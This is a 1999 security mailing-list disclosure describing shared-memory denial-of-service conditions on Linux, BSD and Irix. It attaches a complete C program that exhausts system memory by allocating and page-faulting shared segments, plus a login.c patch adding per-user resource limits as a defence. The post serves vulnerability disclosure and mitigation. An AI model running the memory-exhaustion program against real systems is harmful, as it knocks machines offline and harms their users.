Date: Thu, 15 Jul 1999 00:36:12 -0500
From: Mike Perry <[email protected]>
To: [email protected]Subject: Shared memory DoS's
--5vNYLRcllDrimb99
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Hello, sorry if it's considered poor form to cross post to both bugtraq and a
development list, but I'm too lazy to fire off two emails.
While fiddling with various IPC mechanisms and reading The Design and
Implementation of 4.4BSD (What a book!), a few things struch me as potentially
dangerous. According to the book, when you request a shared memory segment via
mmap(), the file isn't actually physically in memory until you start to
trigger page faults and cause the vnode-pager to page in the data from the
file.
Then, the following passage from shmctl(2) under Linux caught my eye:
"The user must ensure that a segment is eventually destroyed; otherwise its pages
that were faulted in will remain in memory or swap."
So as it turns out that it is in fact possible to create a DoS condition by
requesting a truckload of shared mem, then triggering pagefaults in the entire
shared region.
Now the end result is no different than a simple fork or malloc bomb, but it is
considerably harder to prevent on most systems.
This is mainly because:
1. The system does not check rlimits for mmap and shmget (FreeBSD)
2. The system never bothers to offer the ability to set the rlimits for
virtual memory via shells, login process, or otherwise. (Linux)
3. b. The system does not actually allocate shared memory until a page
fault is triggered (this could be argued to be a feature - Linux, *BSD)
a. The system does not watch to make sure you don't share more memory
than exists. (Linux, Irix, BSD?)
4. With System V IPC, shared memory persists even after the process is
gone. So even though the kernel may kill the process after it exhausts
all memory from page faults, there still is 0 memory left for the system.
I suppose with some trickery you might be able to achieve the same results
by shared mmap()'ing a few large files between pairs of processes. (All)
I've attached a program that will exploit these conditions using either
shmget(), mmap(), or by getting malloc to mmap() (those are in order of
effectivness).
This program should compile on any architecture. SGI Irix is not vulnerable.
Reading The Design and Implementation of 4.4BSD, it sounds as if the BSDs
should all be vulnerable. FreeBSD will mmap as much memory as you tell it.
I haven't tried page faulting the memory, as the system is not mine.
I'd be very interested to hear about OpenBSD...
Also attached is a patch to util-linux-2.9o login.c (and pathnames.h) that
provides a means under Linux (should be pretty portable to other OS's) to set
limits for the address space limit (RLIMIT_AS: the rlimit that controls how
much data you can actually map into your process). The patch is based on an old
program called lshell that set limits by wrapping your shell (I've found that
wrapping the shell in this way caused all sorts of problems with gdb, for some
reason).
sample /etc/limits file:
# Limit the user guest to 5 minutes CPU time and 8 procs, 5Mb address space
guest C5P8V5D2
# 60 min's CPU time, 30 procs, 15Mb data, 50 megs total address space, 5 megs
# stack, 15 megs of RSS.
default C60P30D15V50S5R15
At the very least, I recommend default V<size of physical memory>.
You can use lowercase letters for the next lowest order of magnitude of units.
The comment in the patch explains it in further detail.
Note even in this case, a determined user can probably just login a dozen or
so times and use SysV IPC to steal the system memory. Core wars, anyone? :)
P.S. Util-linux people: I also suspect a small memory leak due to the
strdup(hostname) provided by Ambrose C. Li.
--
Mike Perry
Proud user of both PGP 2.6.3i and GNU Privacy guard.
Considering overthrowing any governments? Count me in!
http://mikepery.linuxos.org/keys.html
--5vNYLRcllDrimb99
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Content-Disposition: attachment; filename="vmfuxx0r.c"
/*
* This program can be used to exploit DoS bugs in the VM systems or utility
* sets of certain OS's.
*
* Common problems:
* 1. The system does not check rlimits for mmap and shmget (FreeBSD)
* 2. The system never bothers to offer the ability to set the rlimits for
* virtual memory via shells, login process, or otherwise. (Linux)
* 3. b. The system does not actually allocate shared memory until a page fault
* is triggered (this could be argued to be a feature - Linux, *BSD)
* a. The system does not watch to make sure you don't share more memory
* than exists. (Linux, Irix, BSD?)
* 4. With System V IPC, shared memory persists even after the process is
* gone. So even though the kernel may kill the process after it exhausts all
* memory from page faults, there still is 0 memory left for the system.
* (All)
*
* This program should compile on any architecture. SGI Irix is not
* vulnerable. From reading The Design and Implementation of 4.4BSD it sounds
* as if the BSDs should all be vulnerable. FreeBSD will mmap as much memory
* as you tell it. I haven't tried page faulting the memory, as the system is
* not mine. I'd be very interested to hear about OpenBSD...
*
* This program is provided for vulnerability evaluation ONLY. DoS's aren't
* cool, funny, or anything else. Don't use this on a machine that isn't
* yours!!!
*/
#include <stdio.h>
#include <errno.h>
#include <sys/ipc.h>
#include <sys/shm.h> /* redefinition of LBA.. PAGE_SIZE in both cases.. */
#ifdef __linux__
#include <asm/shmparam.h>
#include <asm/page.h>
#endif
#include <sys/types.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <sys/mman.h>
int len;
#define __FUXX0R_MMAP__
/* mmap also implements the copy-on-fault mechanism, but because the only way
* to easily exploit this is to use anonymous mappings, once the kernel kills
* the offending process, you can recover. (Although swap death may still
* occurr */
/* #define __FUXX0R_MMAP__ */
/* Most mallocs use mmap to allocate large regions of memory. */
/* #define __FUXX0R_MMAP_MALLOC__ */
/* Guess what this option does :) */
#define __REALLY_FUXX0R__
/* From glibc 2.1.1 malloc/malloc.c */
#define DEFAULT_MMAP_THRESHOLD (128 * 1024)
#ifndef PAGE_SIZE
# define PAGE_SIZE 4096
#endif
#ifndef SHMSEG
# define SHMSEG 256
#endif
#if defined(__FUXX0R_MMAP_MALLOC__)
void *mymalloc(int n)
{
if(n <= DEFAULT_MMAP_THRESHOLD)
n = DEFAULT_MMAP_THRESHOLD + 1;
return malloc(n);
}
void myfree(void *buf)
{
free(buf);
}
#elif defined(__FUXX0R_MMAP__)
void *mymalloc(int n)
{
int fd;
void *ret;
fd = open("/dev/zero", O_RDWR);
ret = mmap(0, n, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
close(fd);
return (ret == (void *)-1 ? NULL : ret);
}
void myfree(void *buf)
{
munmap(buf, len);
}
#elif defined(__FUXX0R_SYSV__)
void *mymalloc(int n)
{
char *buf;
static int i = 0;
int shmid;
i++; /* 0 is IPC_PRIVATE */
if((shmid = shmget(i, n, IPC_CREAT | SHM_R | SHM_W)) == -1)
{
#if defined(__irix__)
if (shmctl (shmid, IPC_RMID, NULL))
{
perror("shmctl");
}
#endif
return NULL;
}
if((buf = shmat(shmid, 0, 0)) == (char *)-1)
{
#if defined(__irix__)
if (shmctl (shmid, IPC_RMID, NULL))
{
perror("shmctl");
}
#endif
return NULL;
}
#ifndef __REALLY_FUXX0R__
if (shmctl (shmid, IPC_RMID, NULL))
{
perror("shmctl");
}
#endif
return buf;
}
void myfree(void *buf)
{
shmdt(buf);
}
#endif
#ifdef __linux__
void cleanSysV()
{
struct shmid_ds shmid;
struct shm_info shm_info;
int id;
int maxid;
int ret;
int shid;
maxid = shmctl (0, SHM_INFO, (struct shmid_ds *) &shm_info);
printf("maxid %d\n", maxid);
for (id = 0; id <= maxid; id++)
{
if((shid = shmctl (id, SHM_STAT, &shmid)) < 0)
continue;
if (shmctl (shid, IPC_RMID, NULL))
{
perror("shmctl");
}
printf("id %d has %d attachments\n", shid, shmid.shm_nattch);
shmid.shm_nattch = 0;
shmctl(shid, IPC_SET, &shmid);
if(shmctl(shid, SHM_STAT, &shmid) < 0)
{
printf("id %d deleted sucessfully\n", shid);
}
else if(shmid.shm_nattch == 0)
{
printf("Still able to stat id %d, but has no attachments\n", shid);
}
else
{
printf("Error, failed to remove id %d!\n", shid);
}
}
}
#endif
int main(int argc, char **argv)
{
int shmid;
int i = 0;
char *buf[SHMSEG * 2];
int max;
int offset;
if(argc < 2)
{
printf("Usage: %s <[0x]size of segments>\n", argv[0]);
#ifdef __linux__
printf(" or %s --clean (destroys all of IPC space you have permissions to)\n", argv[0]);
#endif
exit(0);
}
#ifdef __linux__
if(!strcmp(argv[1], "--clean"))
{
cleanSysV();
exit(0);
}
#endif
len = strtol(argv[1], NULL, 0);
for(buf[i] = mymalloc(len); i < SHMSEG * 2 && buf[i] != NULL; buf[++i] = mymalloc(len))
;
max = i;
perror("Stopped because");
printf("Maxed out at %d %d byte segments\n", max, len);
#if defined(__FUXX0R_SYSV__) && defined(SHMMNI)
printf("Despite an alleged max of %d (%d per proc) %d byte segs. (Page "
"size: %d), \n", SHMMNI, SHMSEG, SHMMAX, PAGE_SIZE);
#endif
#ifdef __REALLY_FUXX0R__
fprintf(stderr, "Page faulting alloced region... Have a nice life!\n");
for(i = 0; i < max; i++)
{
for(offset = 0; offset < len; offset += PAGE_SIZE)
{
buf[i][offset] = '*';
}
printf("wrote to %d byes of memory, final offset %d\n", len, offset);
}
// never reached :(
#else
for(i = 0; i <= max; i++)
{
myfree(buf[i]);
}
#endif
exit(42);
}
--5vNYLRcllDrimb99
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="login.patch"
diff -ur ./util-linux-2.9o/lib/pathnames.h ./util-linux-2.9o-mp/lib/pathnames.h
--- ./util-linux-2.9o/lib/pathnames.h Sun Oct 11 14:19:16 1998
+++ ./util-linux-2.9o-mp/lib/pathnames.h Wed Jul 14 22:51:13 1999
@@ -86,6 +86,7 @@
#define _PATH_SECURE "/etc/securesingle"
#define _PATH_USERTTY "/etc/usertty"
+#define _PATH_LIMITS "/etc/limits"
#define _PATH_MTAB "/etc/mtab"
#define _PATH_UMOUNT "/bin/umount"
diff -ur ./util-linux-2.9o/login-utils/login.c ./util-linux-2.9o-mp/login-utils/login.c
--- ./util-linux-2.9o/login-utils/login.c Sat Mar 20 14:20:16 1999
+++ ./util-linux-2.9o-mp/login-utils/login.c Wed Jul 14 22:49:24 1999
@@ -185,6 +185,7 @@
char *stypeof P_((char *ttyid));
void checktty P_((char *user, char *tty, struct passwd *pwd));
void sleepexit P_((int eval));
+void setup_limits P_(struct passwd *pwd);
#ifdef CRYPTOCARD
int cryptocard P_((void));
#endif
@@ -1110,6 +1111,8 @@
childArgv[childArgc++] = NULL;
+ setup_limits(pwd);
+
execvp(childArgv[0], childArgv + 1);
if (!strcmp(childArgv[0], "/bin/sh"))
@@ -1120,6 +1123,161 @@
exit(0);
}
+
+/* Most of this code ripped from lshell by Joel Katz */
+void process(char *buf)
+{
+ /* buf is of the form [Fn][Pn][Ct][Vm][Sm][Rm][Lm][Dm] where */
+ /* F specifies n max open files */
+ /* P specifies n max procs */
+ /* c specifies t seconds of cpu */
+ /* C specifies t minutes of cpu */
+ /* v specifies m kbs of total virtual memory (address space) */
+ /* V specifies m megs of total virtual memory (address space) */
+ /* s specifies m kbs of stack */
+ /* S specifies m megs of stack */
+ /* r specifies m kbs of RSS */
+ /* R specifies m megs of RSS */
+ /* l specifies m kbs of locked (non-swappable) memory */
+ /* L specifies m megs of locked (non-swappable) memory */
+ /* d specifies m kbs of Data segment */
+ /* D specifies m megs of Data segment */
+
+ struct rlimit rlim;
+ char *pp = buf;
+ int i;
+
+ while(*pp!=0)
+ {
+ i = 1;
+ switch(*pp++)
+ {
+ case 'f':
+ case 'F':
+ i = atoi(pp);
+ if(!i)
+ break;
+ rlim.rlim_cur = i;
+ rlim.rlim_max = i;
+ setrlimit(RLIMIT_NOFILE, &rlim);
+ break;
+ case 'p':
+ case 'P':
+ i = atoi(pp);
+ if(!i)
+ break;
+ rlim.rlim_cur = i;
+ rlim.rlim_max = i;
+ setrlimit(RLIMIT_NPROC, &rlim);
+ break;
+ case 'C':
+ i = 60;
+ case 'c':
+ i *= atoi(pp);
+ if(!i)
+ break;
+ rlim.rlim_cur = i;
+ rlim.rlim_max = i;
+ setrlimit(RLIMIT_CPU, &rlim);
+ break;
+ case 'V':
+ i = 1024;
+ case 'v':
+ i *= atoi(pp)*1024;
+ if(!i)
+ break;
+ rlim.rlim_cur = i;
+ rlim.rlim_max = i;
+#if defined(RLIMIT_AS) /* Linux */
+ setrlimit(RLIMIT_AS, &rlim);
+#else if defined(RLIMIT_VMEM) /* Irix */
+ setrlimit(RLIMIT_VMEM, &rlim);
+#endif
+ break;
+ case 'S':
+ i = 1024;
+ case 's':
+ i *= atoi(pp)*1024;
+ if(!i)
+ break;
+ rlim.rlim_cur = i;
+ rlim.rlim_max = i;
+ setrlimit(RLIMIT_STACK, &rlim);
+ break;
+ case 'R':
+ i = 1024;
+ case 'r':
+ i *= atoi(pp)*1024;
+ if(!i)
+ break;
+ rlim.rlim_cur = i;
+ rlim.rlim_max = i;
+ setrlimit(RLIMIT_RSS, &rlim);
+ break;
+ case 'L':
+ i = 1024;
+ case 'l':
+ i *= atoi(pp)*1024;
+ if(!i)
+ break;
+ rlim.rlim_cur = i;
+ rlim.rlim_max = i;
+ setrlimit(RLIMIT_MEMLOCK, &rlim);
+ break;
+ case 'D':
+ i = 1024;
+ case 'd':
+ i *= atoi(pp)*1024;
+ if(!i)
+ break;
+ rlim.rlim_cur = i;
+ rlim.rlim_max = i;
+ setrlimit(RLIMIT_DATA, &rlim);
+ break;
+ }
+ }
+}
+
+void setup_limits(struct passwd *pw)
+{
+ FILE *fp;
+ int i;
+ char buf[200], name[20], limits[64];
+ char *p;
+
+ if(pw->pw_uid == 0)
+ {
+ return;
+ }
+
+ if((fp = fopen(_PATH_LIMITS,"r")) == NULL)
+ {
+ return;
+ }
+
+ while(fgets(buf, 200, fp) != NULL)
+ {
+ if(buf[0] == '#')
+ continue;
+
+ p = strchr(buf, '#');
+ if(p)
+ *p = 0;
+
+ i=sscanf(buf, "%s %s", name, limits);
+
+ if(!strcmp(name, pw->pw_name))
+ {
+ if(i==2)
+ process(limits);
+ fclose(fp);
+ return;
+ }
+ }
+ fclose(fp);
+ process(limits); /* Last line is default */
+}
+
void
getloginname()
--5vNYLRcllDrimb99--
